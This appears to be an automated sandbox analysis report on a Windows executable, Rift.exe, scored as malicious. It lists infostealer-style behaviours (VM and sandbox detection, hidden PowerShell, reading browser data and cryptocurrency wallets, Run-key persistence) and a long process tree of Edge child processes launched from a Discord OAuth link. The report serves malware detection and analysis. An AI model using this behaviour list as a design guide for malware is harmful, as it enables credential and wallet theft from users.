Analysis
- user interaction
yes - max time kernel
674s - max time network
672s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-en - resource tags
- submitted
27/08/2026, 01:54
General
- Target Rift.exe
- Size 21.2MB
- Sample260827-cb2r2ayelf
- SHA256 0f18067fe1b0367c790987e67ad4f04f4518da4fbf8d1ff1418c59b58ce3c906
Score
9/10
Malware Config
Signatures
- Looks for VirtualBox drivers on disk 2 TTPs 24 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 7 IoCs
- Looks for VMWare drivers on disk 2 TTPs 18 IoCs
- Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 14 IoCs
- Loads dropped DLL 14 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 15 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Drops desktop.ini file(s) 1 IoCs
- Looks up external IP address via web service 1 TTPs 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Network Service Discovery 1 TTPs 1 IoCs
Attempt to gather information on host's network.
- Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 64 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Time Discovery 1 TTPs 2 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks processor information in registry 2 TTPs 10 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 25 IoCs
- Modifies Internet Explorer settings 1 TTPs 6 IoCs
- Modifies data under HKEY_USERS 3 IoCs
- Modifies registry class 44 IoCs
- Opens file in notepad (likely ransom note) 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 37 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 8 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Rift.exe"C:\Users\Admin\AppData\Local\Temp\Rift.exe"1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.com/api/oauth2/authorize?client_id=1527313012770472096&response_type=code&scope=identify%20guilds.join&redirect_uri=https%3A%2F%2Fgetrift.lol%2Fapi%2Fdiscord%2Fcallback&state=a983857b55af51f96f83d0b976c67741f92cebcd2976694c2⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2ec,0x2f0,0x2f4,0x2e8,0x314,0x7ffd398dc188,0x7ffd398dc194,0x7ffd398dc1a03⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1844,i,7218584273738716209,1042627607615968570,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:33⤵
- Downloads MZ/PE file
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1708,i,12824115818779342158,10663970036902077424,262144 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=2296 /prefetch:23⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2588,i,13635163503045211822,9742564273037370896,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=2676 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3448,i,6182038899640365683,11421960490380310268,2097152 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=3488 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3456,i,6605986113010061103,10398991978483172255,2097152 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4184,i,18059543301155065031,11466134486377727241,2097152 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=4212 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4128,i,17101214292266155563,10160778664495940179,2097152 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=4216 /prefetch:23⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3652,i,976073895977126690,7774644079498608810,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5384,i,18259020532807028102,6837524740201958151,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=5376 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5528,i,5790028194693722053,9162765034526818056,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=5556 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5552,i,2441792460519527763,7431839871795070120,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=5620 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6248,i,10176189849591939498,10729793319601184009,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=6220 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6248,i,10176189849591939498,10729793319601184009,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=6220 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6528,i,6962762297531604210,12273544260975767310,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=6556 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6508,i,6894713686524059763,17923396927026930849,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=5308 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6516,i,9462849585111768127,10705753522091331345,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=3616 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6600,i,13937965717591814378,15234789313026022690,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=6444 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5416,i,8860477040475728901,11671522286056777386,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6248,i,10496494625067790119,242451341788035038,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=6168 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6300,i,8107255425090231405,17888086685106457738,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=6228 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6340,i,6525575759583201335,6507295323570843669,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=5408 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=5392,i,4237158609300444120,1341874582219993188,2097152 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=4532 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6780,i,14397236828848636011,4218002001333342088,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=6764 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --always-read-main-dll --metrics-shmem-handle=6880,i,5435078189916881739,4313985968865910426,2097152 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=6872 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5452,i,14342645907123239357,14054935462571450260,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=6740 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --always-read-main-dll --metrics-shmem-handle=6964,i,1140886973511498561,15817791680323627472,2097152 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=7232 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --always-read-main-dll --metrics-shmem-handle=4312,i,603248326544915783,8543697044215744992,2097152 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=4208 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4376,i,7169913820138872710,16853274943018314929,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=7444 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --always-read-main-dll --metrics-shmem-handle=4344,i,14536954479267059827,3868308877378411279,2097152 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=7588 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --always-read-main-dll --metrics-shmem-handle=5240,i,388988944863195585,11793756105318209706,2097152 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=7656 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --always-read-main-dll --metrics-shmem-handle=7280,i,7380717318508036012,7217653825394557208,2097152 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=4360 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --always-read-main-dll --metrics-shmem-handle=7540,i,3281885946940915500,2004099724108316105,2097152 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=7528 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6328,i,8730942117218990875,1555579712612393452,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=7764 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6228,i,1142242878124978794,2564897172332421679,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=7740 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=7864,i,4663094909086653574,15889079154491622680,262144 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=7848 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --always-read-main-dll --metrics-shmem-handle=5564,i,14541642540815223562,17453865783161947558,2097152 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=5616 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5708,i,1745398011992617865,18097121962333244207,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=1312 /prefetch:83⤵
- Modifies registry class
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5672,i,2205005129847694189,8183565287036066120,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=5700 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5552,i,7124125102970642610,1473841080257654037,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=7852 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6228,i,16593533008613200388,236047103173613506,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=7820 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7756,i,6443736972969037627,2878564819698687992,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=5556 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5552,i,17443820221392495270,1117058133163583616,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=5868 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8064,i,12995700700473153205,14367863882361140194,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=8076 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3384,i,8899422701309333892,12455127125020742864,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=3568 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --always-read-main-dll --metrics-shmem-handle=8032,i,1627424258812801136,5242779802759438147,2097152 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=7924 /prefetch:13⤵
-
-
